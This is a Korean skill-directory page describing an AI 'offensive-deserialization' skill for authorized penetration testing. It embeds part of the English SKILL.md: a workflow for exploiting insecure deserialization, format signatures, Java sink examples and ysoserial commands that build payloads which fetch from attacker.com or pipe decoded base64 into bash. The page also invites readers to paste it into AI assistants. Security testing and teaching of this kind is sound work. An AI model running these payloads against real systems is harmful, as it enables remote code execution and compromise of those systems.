본문으로 건너뛰기
Skillpedia
보안10k · #11976

offensive-deserialization

하는 일

이 스킬은 앱이 신뢰할 수 없는 데이터에서 객체를 다시 만드는 안전하지 않은 역직렬화 결함을 설명합니다. 주요 언어 전반에서 위험한 진입점을 찾는 방법을 다룹니다. 허가를 받고 애플리케이션을 테스트하는 보안 전문가를 위한 스킬입니다.

사용하는 경우

  • ✓승인된 테스트에서 앱이 쿠키, 요청, 메시지에서 직렬화된 데이터를 받아들이는 것을 발견했을 때.
  • ✓앱에서 직렬화된 객체에 쓰인 언어와 형식을 파악하고 싶을 때.
  • ✓안전하지 않은 역직렬화의 위험을 개발자에게 설명해야 할 때.

스킬 링크

https://github.com/SnailSploit/Claude-Red/blob/main/Skills/web/offensive-deserialization/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/SnailSploit/Claude-Red/blob/main/Skills/web/offensive-deserialization/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“Java 앱을 테스트할 승인을 받았습니다. 사용자 데이터를 역직렬화하는 곳을 찾고 위험을 설명해 주세요.”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

이 스킬은 직렬화된 데이터를 받는 모든 진입점을 찾고, 형식과 언어를 식별한 뒤 위험을 평가합니다. 해가 없는 실행 증명으로 시작하고, 전체 체인을 문서화합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

Offensive Deserialization

Deserialization vulnerabilities arise when an application reconstructs objects from serialized byte streams without validating the type, integrity, or origin of the data. Object reconstruction triggers constructors, finalizers, and language-specific magic methods, so an attacker who controls the serialized input often achieves remote code execution before any application-level validation runs.

Quick Workflow

  1. Enumerate every entry point accepting opaque binary or encoded data -- cookies, HTTP bodies, headers, message queue messages, file uploads, GraphQL custom scalars, gRPC fields, JMX/RMI endpoints.
  2. Fingerprint the serialization format via magic bytes, content-type headers, and error behavior (see Recognition Signatures).
  3. Determine the server-side language and framework version from error pages, HTTP headers, or source code.
  4. Select candidate gadget chains matching the target classpath or installed packages. Generate payloads with ysoserial, phpggc, ysoserial.net, or manual construction.
  5. Deliver through the identified entry point. Start with DNS-only or sleep-based proof to confirm execution without destructive side effects.
  6. Escalate from proof-of-concept to the engagement objective with authorization.
  7. Document the full chain: entry point, format, gadget chain, library versions, proof.

Recognition Signatures

Format Signature Notes
Java ObjectInputStream Hex ac ed 00 05, Base64 rO0AB Cookies, POST bodies, JMX/RMI streams
PHP serialize O:<len>:"ClassName": or a:<count>:{ Frequently Base64-wrapped in cookies
.NET BinaryFormatter Base64 AAEAAAD///// ViewState, remoting, session state
Python pickle Opcodes \x80\x04\x95 (v4+), older (dp0 text Redis caches, Celery tasks, ML pipelines
Ruby Marshal \x04\x08 leading bytes Session cookies in older Rails apps
YAML (any lang) --- !ruby/object: or !!python/object/apply: Tag-based instantiation
Java XMLDecoder <?xml with <java> or <object class= Legacy Java admin panels
.NET Json.NET "$type": key in JSON TypeNameHandling != None
Java Jackson ["class.name", { JSON array wrapper enableDefaultTyping / polymorphic handling

Java Deserialization

ObjectInputStream.readObject() instantiates arbitrary classes present on the classpath. Decades of library code provide usable gadget chains.

Identifying Sinks

// Direct ObjectInputStream usage
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject();

// XMLDecoder -- equally dangerous, often overlooked
XMLDecoder decoder = new XMLDecoder(inputStream);
Object obj = decoder.readObject();

// XStream without allowlist
XStream xstream = new XStream();
Object obj = xstream.fromXML(userInput);

// Jackson polymorphic typing -- CVE-2017-7525 and successors
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();

// Jackson @JsonTypeInfo on base class
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
public abstract class BaseCommand { }

// JMX/RMI endpoints -- default port 1099, often unauthenticated

serialVersionUID and Classpath Constraints

Every serializable Java class carries a serialVersionUID. A mismatch causes InvalidClassException before any gadget logic executes. Extract the server's UID from error messages or decompiled JARs, then rebuild the payload with ysoserial's source. The UID often changes only on major releases, so brute-forcing common versions is feasible when the exact version is unknown.

ysoserial Gadget Chains

Match the chain to libraries present on the target classpath.

# CommonsCollections -- most widely applicable
# CC1: commons-collections 3.1, JDK < 8u72
java -jar ysoserial.jar CommonsCollections1 'curl http://attacker.com/cb' > payload.bin
# CC5: later JDK versions where CC1 is patched
java -jar ysoserial.jar CommonsCollections5 'curl http://attacker.com/cb' > payload.bin
# CC7: Hashtable entry point, bypasses some ObjectInputFilter rules
java -jar ysoserial.jar CommonsCollections7 'id > /tmp/proof.txt' > payload.bin

# Spring chain -- requires spring-core + spring-beans
java -jar ysoserial.jar Spring1 'wget http://attacker.com/s.sh -O /tmp/s.sh' > payload.bin
# Hibernate chain -- requires hibernate-core
java -jar ysoserial.jar Hibernate1 'bash -c {echo,BASE64}|{base64,-d}|bash' > payload.bin
# CommonsBeanutils -- present in ma
자주 묻는 질문

한 언어만 다루나요?

아니요. Java, PHP, .NET, Python, Node.js, Ruby를 모두 다룹니다.

해로운 증명을 쓰나요?

스킬은 추가 단계 전에 DNS만 확인하는 등 파괴적이지 않은 증명으로 시작합니다.

승인된 테스트에만 쓰나요?

네. 서면 허가를 받은 테스트를 위해 작성되었습니다.

상세 정보

작성자의 원본 설명

Insecure deserialization exploitation across Java, PHP, .NET, Python, Node.js, and Ruby. Covers gadget chain construction with ysoserial/phpggc/ysoserial.net, ObjectInputStream and BinaryFormatter sink identification, pickle __reduce__ RCE, phar:// wrapper abuse, Jackson polymorphic typing, Json.NET TypeNameHandling, ViewState tampering, node-serialize IIFE injection, Ruby Marshal.load and YAML.load gadgets, framework-specific chains for Spring/Hibernate/Laravel/Symfony, modern attack surfaces including Kubernetes admission webhooks and message queue consumers, WAF bypass through encoding laye

repo: SnailSploit/Claude-Red

인기도

GitHub 스타
10k
순위
#11976
라이선스
MIT
업데이트
2026. 10. 12.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬